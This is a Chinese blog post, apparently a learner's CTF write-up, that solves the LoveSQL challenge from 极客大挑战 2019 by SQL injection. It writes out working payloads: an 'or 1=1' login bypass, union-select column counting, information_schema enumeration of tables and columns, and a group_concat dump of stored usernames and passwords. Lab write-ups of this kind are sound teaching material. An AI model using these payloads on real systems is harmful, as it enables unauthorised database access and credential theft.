学习的十三天2

[极客大挑战 2019]LoveSQL1

来了。。。。。继续来做题
由于上题结束的太突然,我又不想摸鱼,所以再来一题。



嚯,好熟悉的界面,看来应该是同一个师傅出的题啊,那题目的类型八成应该也是sql注入了。
依旧观察互动按钮,F12查看源代码,尝试输入。
在这里插入图片描述
没什么发现,试试万能公式。
1' or 1=1#,他似乎有双重判定,所以密码框也不能为空
在这里插入图片描述
哦?难道说?不会是?
在这里插入图片描述
好吧,并不是flag,看来得按流程一步步来联合查询了。
但有一点值得庆幸的是,我们知道了它是单引号闭合的sql语句。
在进行注入之前呢我们需要认识知道几组数据名与函数。
information_schema ---------------------数据库系统自带的数据库
information_schema.tables-------------上述数据库自带的数据表
information_schema.columns----------上述数据表自带的字段名
上述内容提供了访问数据库元数据的方式。

  • 什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。简单来说就是在作为条件的时候代替简单的datdabse,table,column等名称,且一般不会出错,因为每个数据库系统都会自带这些数据。

group_concat,简单来说就是一个能将相同的行组合起来的函数
一般语法为:group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
.
.
.

以上都是我从百度上copy下来的,说实话真要我解释为什么哪步为什么要用什么,可以,但说不清,所以还是意会比较好。
好了,来干正事了。
首先我们需要知道我们想要查询的数据表一共有几个字段,开始尝试
?username=1' union select 1#
?username=1' union select 1,2#
?username=1' union select 1,2,3#
?username=1' union select 1,2,3,4#
在这里插入图片描述
再尝试它是否有四个数据段时,发生了报错,证明该表只有三个字段。

接下来我们需要知道题目中有哪些数据库。
?username=1' union select 1,database(),3#
因为可以猜测题目的三个字段可能为id,username,password,而根据上面的尝试可以知道,题目只会回显usernamepassword字段,所以把database()放在2,3的位置都可。
在这里插入图片描述
我们可以得到数据库名为geek

接下来我们需要知道该数据库中有哪些表。
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
其他的上面都解释过了,table_chema呢,就是代表表所属的数据库。
其实和正常的mysql语句没什么太大的差别,只是把熟悉的,简单的名称换成了不熟悉的,复杂的名称。熟悉熟悉就好了,以后经常用到的。
在这里插入图片描述
好了,我们得知,在geek表中有两个表,但我们不知道我们想要的东西在哪个表中,所以只能一个个尝试。
先来尝试第一个表,查询该表中的各字段名。
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#

注:在这里geekuser是表示一个字段,所以要用单引号括起来。
在这里插入图片描述
嗯,和我们刚开始猜测的一样,那么我们就来查询这些字段名的内容吧
?username=1' union select 1,database(),group_concat(id,username,password) from geekuser#
在这里插入图片描述
有。。。。???这一串东西怎么这么眼熟。
等等,这不就是我一开始用万能密码试出来的东西吗,
嗯,看来我们想要的东西在另一个表里。
用同样的方法去查询另一个表。
在这里插入图片描述
呜呼,这次一个没错了,但他还搞了这么长一串,把flag放在最后,但是没有关系,我们已经成功了。
We’re the champion!!!!

又一个flag已经找到,接下来还会有许许多多的flag会被我们找到。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值